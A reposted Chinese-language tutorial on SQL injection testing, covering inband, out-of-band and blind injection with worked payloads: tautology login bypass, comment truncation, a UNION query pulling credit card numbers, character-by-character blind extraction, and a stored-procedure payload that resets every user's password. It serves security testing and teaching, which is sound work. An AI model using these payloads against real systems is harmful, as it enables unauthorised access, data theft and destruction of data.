SQL注入(轉載)

  首先,看看SQL注入攻擊能分爲以下三種類型:
  Inband: 數據經由SQL代碼注入的通道取出,這是最直接的一種攻擊,通過SQL注入獲取的信息直接反映到應用程序的Web頁面上;
  Out-of-band: 數據通過不同於SQL代碼注入的方法獲得(譬如通過郵件等)
  推理: 這種攻擊時說並沒有真正的數據傳輸,但攻擊者可以通過發送特定的請求,重組返回的結果從而得到一些信息。

  不論是哪種SQL注入,攻擊者都需要構造一個語法正確的SQL查詢,如果應用程序對一個不正確的查詢返回了一個錯誤消息,那麼就很容易重新構造初始的查詢語句的邏輯,進而也就能更容易的進行注入;如果應用程序隱藏了錯誤信息,那麼攻擊者就必須對查詢邏輯進行反向工程,即我們所謂的“盲SQL注入”

黑盒測試及其示例:
   這個測試的第一步是理解我們的應用程序在什麼時候需要訪問數據庫,典型的需要方法數據庫的時機是:

   認證表單: 輸入用戶名和密碼以檢查是否有權限
   搜索引擎: 提交字符串以從數據庫中獲取相應的記錄
   電子商務站點: 獲取某類商品的價格等信息

作爲測試人員,我們需要列對所有輸入域的值可能用於查詢的字段做一個表單,包括那些POST請求的隱含字段,然後截取查詢語句併產生錯誤信息。第一個測試往往是用一個單引號“'”或者分號“;”,前者在SQL中是字符串終結符,如果應用程序沒有過濾,則會產生一條錯誤信息;後者在SQL中是一條SQL語句的終結符,同樣如果沒有過濾,也會產生錯誤信息。

同樣可用於測試的還有“--”以及SQL中的一些諸如“AND”的關鍵字,通常很常見的一種測試是在要求輸入爲數字的輸入框中輸入字符串。

通過上面的測試輸入返回的錯誤信息能夠讓我們知道很多數據庫的信息。這時候就需要“盲目SQL注入”了。注意,我們需要多所有可能存在的SQL注入漏洞的輸入域進行測試,並且在,每個測試用例時只變化一個域的值,從而才能找到真正存在漏洞的輸入域。

下面看看一些常用例測試的SQL注入語句。

  SELECT * FROM Users WHERE Username='$username' AND Password='$password'

我們針對上面的SQL語句分析,發現如果用下面的測試數據就能夠進行SQL注入了

$username = 1'or'1'='1
$password=1'or'1'='1

看看整個SQL查詢語句變成:

SELECT * FROM Users WHERE Username='1' OR '1'='1' AND Password='1'OR '1'='1'

假設參數值是通過GET方法傳遞到服務器的,且域名爲www.example.com 那麼我們的訪問請求就是:

  http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

  對上面的SQL語句作簡單分析後我們就知道由於該語句永遠爲真,所以肯定會返回一些數據,在這種情況下實際上並未驗證用戶名和密碼,並且在某些系統中,用戶表的第一行記錄是管理員,那這樣造成的後果則更爲嚴重。

另外一個查詢的例子如下:

引用

   SELECT * FROM UsersWHERE((Username='$username')AND(Password=MD5('$password')))

在這個例子中,存在兩個問題,一個是括號的用法,還有一個是MD5哈希函數的用法。對於第一個問題,我們很容找出缺少的右括號解決,對於第二個問題,我們可以想辦法使第二個條件失效。我們在查詢語句的最後加上一個註釋符以表示後面的都是註釋,常見的註釋起始符是/*(在Oracle中是--),也就是說,我們用如下的用戶名和密碼:

$username =1' or '1'='1'))/*
$password = foo

那麼整條SQL語句就變爲:

  SELECT * FROM Users WHERE(( Username='1'or '1'='1'))/*')AND(Password=MD5('$password')))

那麼看看URL請求就變爲:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

Union查詢SQL注入測試
  還有一種測試是利用Union的,利用Union可以連接查詢,從而從其他表中得到信息,假設如下查詢:

  SELECT Name, Phone, Address FROM Users WHERE Id=$id

然後我們設置id的值爲:

$id =1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable

那麼整體的查詢就變爲:

SELECT Name, Phone,Address FROM Users WHERE Id=1 UNION ALL SELECTcreaditCardNumber,1,1 FROM CreditCarTable

顯示這就能得到所有信用卡用戶的信息。

盲目SQL注入測試
  在上面我們提到過盲SQL注入,即bind SQLInjection,它意味着對於某個操作我們得不到任何信息,通常這是由於程序員已經編寫了特定的出錯返回頁面,從而隱藏了數據庫結構的信息。

  但利用推理方法,有時候我們能夠恢復特定字段的值。這種方法通常採用一組對服務器的布爾查詢,依據返回的結果來推斷結果的含義。仍然延續上面的www.example.com有一個參數名爲id, 那麼我們輸入以下url請求:

  http://www.exampe.com/index.php?id=1'

顯然由於語法錯誤,我們會得到一個預先定義好的出錯頁面,假設服務器上的查詢語句爲

SELECT field1,field2,field3 FROM Users WHERE Id='$Id' 

假設我們想要的帶哦用戶名字段的值,那麼通過一些函數,我們就可以逐字符的讀取用戶名的值。在這裏我們使用以下的函數:

  SUBSTRING(text,start,length), ASCII(char), LENGTH(text)

我們定義id爲:

  $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

那麼最終的SQL查詢語句爲:

  SELECT field1,field2,field3 FROM Users WHERE Id='1' ANDASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

那麼,如果在數據庫中有用戶名的第一字符的ASCII碼爲97的話,那麼我們就能得到一個真值u,那麼就繼續尋找該用戶名的下一個字符;如果沒有的話,那麼我們就增猜測第一個字符的ASCII碼爲98的用戶名,這樣反覆下去就能判斷出合法的用戶名。

不過這樣盲目SQL注入會要求使用大量的SQL嘗試,有一些自動化的工具能夠幫我們實現,SqlDumper就是這樣的一種工具,對MySql數據庫進行GET訪問請求。

存儲過程注入
  如果在使用存儲過程不當的時候,會造成一定的SQL注入漏洞。
以下面的SQL存儲過程爲例:

  Create procedure user_login
@username varchar(20),
@password varchar(20) As Declare @sqlstring varchar(250)

Set @sqlstring =''
Select 1 from users
where username='+@username+'and password='+@password
exec(@sqlstring)
Go

測試的輸入如下:

anyusername or 1=1'
anypassword

如果程序沒有對輸入進行驗證,那麼上面的語句就返回數據庫中的一條記錄
我們再看下面的一條:

Create procedure get_report @columnamelist varchar(7900) As
  Declare @sqlstring varchar(8000)
  Set @sqlstring = ‘
  Select ‘ + @columnamelist + ‘ from ReportTable‘
  exec(@sqlstring)
  Go

如果測試輸入是:

1 from users;update users set password='password';select *

後面顯而易見,用戶的所有密碼都被更且得到了報表信息。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章